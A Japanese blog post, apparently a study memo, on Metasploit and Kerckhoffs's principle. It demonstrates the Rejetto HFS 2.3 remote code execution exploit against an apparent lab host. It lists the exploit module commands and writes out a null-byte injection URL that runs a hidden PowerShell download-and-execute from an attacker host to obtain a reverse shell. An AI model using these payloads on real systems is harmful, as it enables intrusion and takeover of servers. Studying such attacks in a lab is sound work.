
Metasploitというツールが存在する。それはボタンひとつで相手のサーバーを掌握できる攻撃の自動化プラットフォームだ。
ハッキングの世界にはいろんなツールが存在する。もちろん、侵入テストをするとき様々に適したツールを使用するのが一般的だ。
ただ、攻撃用の辞書や通信ツール、捜索ツールなどが全部まとめられたものがあったらどうだろうか。
それがMetasploitである。

具体的には、
こんなことができる。
自分たちが普段、数週間・数ヶ月かけて必死に守りを作っているのに、このツールは数秒でその綻びを見つけ出してしまう。
今までカンバってハンマーで石をとって運んでいたのに、掘削機で一気に削り取ってそのまま運ぶみたいな感覚になる。
いい。そこにはある考え方が起因している。
僕も最初は、そんなものが存在してしまっては、この世の中が悪いことになってしまうではないかと感じた。
まさに闇の魔術みたいなものだ。
しかしだ。セキュリティの世界には、隠ぺいによるセキュリティ(Security by Obscurity)はよくないとされ、否定されているのだ。
「仕組みを秘密にしておけば安全だ」という考え方は、むrしろ現代では「最も危険な慢心」という考え方なのだ。
なぜなら、このようなツールを隠しても、闇サイトなどで流通するからだ。
そして、対処法をしらないほとんどをの人は、その一部の攻撃ツールを持っている人に蹂躙されてしまう。
であるならば、逆にツールや攻撃手法を公開して、攻撃手法の透明性を確保した方が、防御策も取れるというものだ。
まるで闇の魔術に対する防衛術だ。
「攻撃手法を公開して、誰でも再現できるようにする」ことで、開発側は「自分のシステムは、手法がバレていても耐えられる本物か?」をテストできるようになるわけだ。
この公開して守るという考え方は、19世紀の軍事暗号学者オーギュスト・ケルクホフスが提唱した、現代の暗号学・セキュリティにおける最も重要な鉄則の一つだ!

ケルクホフスの原理のその核は、一言で言うと「秘密にするのは鍵だけ」。
「暗号システムの安全性は、システムの仕組み(アルゴリズム)がすべて公開されても、鍵さえ無事なら保たれるべきである」
つまり、「どうやって守っているか」というマニュアルを敵に盗まれても、パスワード(鍵)さえバレなければ突破されないのが、本当に優れたシステムである。という考え方なのだ。
なるほどなるほど・・・。
一見悪いものは公開しない方がいいという直感とは真逆の発想。でも、確かに考えてみれば筋が通っている。
それに「隠す」コストの問題も解決できる。
仕組みを秘密にしようとすると、その仕組みを知っている人間(社員や開発者)全員を一生監視し続けなければならない。
仕組みはいつか必ず漏洩する。
ならばいっそ公開してOSS(オープンソース)にして、全世界の人間の検閲が入る方がよっぽどセキュリティや攻撃手法の知恵が集まるのだ。
たとえばHTTP file server (HFS)を例に挙げてその実力を見てみよう。

HFSはオープンソースのフリーソフトで、インストール不要でファイルを保存、公開したりすることができる。
イメージとしては、GoogleDriveを軽量化したようなものだ。
社内や家庭内でサクッとファイルの受け渡しなどができる。ただ、これに関して古いバージョンのHFSには有名な「リモートコード実行(RCE)」の脆弱性が存在するのだ。
普通に使う分にはすごく便利だ。学校や会社のPCで個人のGoogleアカウントにログインできなかったり、DropBoxなどのツールを勝手に入れることができない!でもこの写真をプレゼン用に使いたい〜!みたいな時に使うことができる。

調査ツールで見てみると、確かにポート80で、HFS2.3のバージョンであることが確認できる。
ここですかさず、Metasploitを起動して攻撃準備をする。

起動すると、なんかアスキーアートで洒落た起動画面になる。これはちょっと面白い。毎回ちょっとずつ違くて、今回は爆弾が落ちたようなアスキーアートかな・・?
そして、search hfs
とするだけで、このMetasploitに格納された様々なバージョンの攻撃用ツール、調査ツールなどがずらっと出てくる。
それぞれの脆弱性に対しての指定も可能だ。オープンソースなどで日々更新されていく。
今回は、RCE攻撃。3に当てはまりそうなので、3を選択

そしてこの3のrejetto_hfs_execを実行するにはいくつかオプションを選択するだけだ。
use exploit/windows/http/rejetto_hfs_exec
set RPORT 80
set RHOSTS demo.ine.local
set LHOST <Make Sure to Enter Valid LHOST IP Address>
exploit相手のポート、ドメイン、そして自分のIP。これらをセッティングしてexploitするだけだ。
ゆけ!

みてくれ。この実力を。
「meterpreter」という文字が出ているが、これはコマンドの強化版みたいなもので、簡単にいえば相手のサーバに侵入して操作できる状態であることを示している。

ここでShellを起動して、なんでもすることができる。中身を暗号化するなり、バックドアを作るなりなんでもだ。
しかもそれもMeterpreterを使えばボタン一つでできる。
今回の流れ、本来であればかなり骨が折れることだ。
もし自力でやろうと思ったら、以下のようになる。
1.HFSのバージョンの脆弱性を調べる。
2.HFSの検索欄に脆弱性があることから、「Null Bite injection」(ヌルバイト注入)を利用する計画をたてる。
3.脆弱性をもとに以下のようリモートコードを作成する。
http://[ターゲットのIP]/?search=%00{.exec|[実行したいコマンド].}4.コマンドを実行するだけでは不十分なので、自分の端末に通信を跳ね返すリバースシェルを仕込む。こんな感じだ。
http://target_ip/?search=%00{.exec|powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker_ip/shell.ps1')" .}5.ncなどで通信を待ち受けて、接続を待ち伏せする。
と言うような流れだ。
だが、use exploit/... のコマンドは、以下の作業を一瞬で終わらせている。
ただ、やっている内容なんて知らなくてもよい。
そう、Metasplotがあればね。
このような論理構造が成立するほど威力があるものなのだ。
今回は、Metasploitの威力を紹介、備忘録として残しておいた。今回記述したものはMetasploitのほんの一部の機能でしかない。調査、ポートフォワード、権限昇格、ペイロード作成などなどできることはもっとたくさんある。
今回紹介したHFSの脆弱性は
%00 のような制御文字を適切に処理していない。これらの処理のし忘れから来ているということが明らかになり、防衛策が練れると言うことだ。
ちなみに、Metasploitの起動画面はほかにもこんなのがある。
Linuxエンジニアの有名なコマンドcowsayをオマージュした画面。

文字列を渡すと、アスキーアートの牛が吹き出しで喋ってくれるだけのツールだ。
映画マトリックスのオマージュもある。ユーモアがあるよね。

映画マトリックスの冒頭のシーン。

最後に、隠して守ることを否定する考え方は僕たちの人生にも当てはまることなのかもしれない。
僕たちの抱えるコンプレックスや弱みみたいなもの。それらをあえてさらけ出すことで、改善したり受け入れるキッカケになるかもしれない。無理に隠蔽する方が疲れる生き方なのかもしれないな。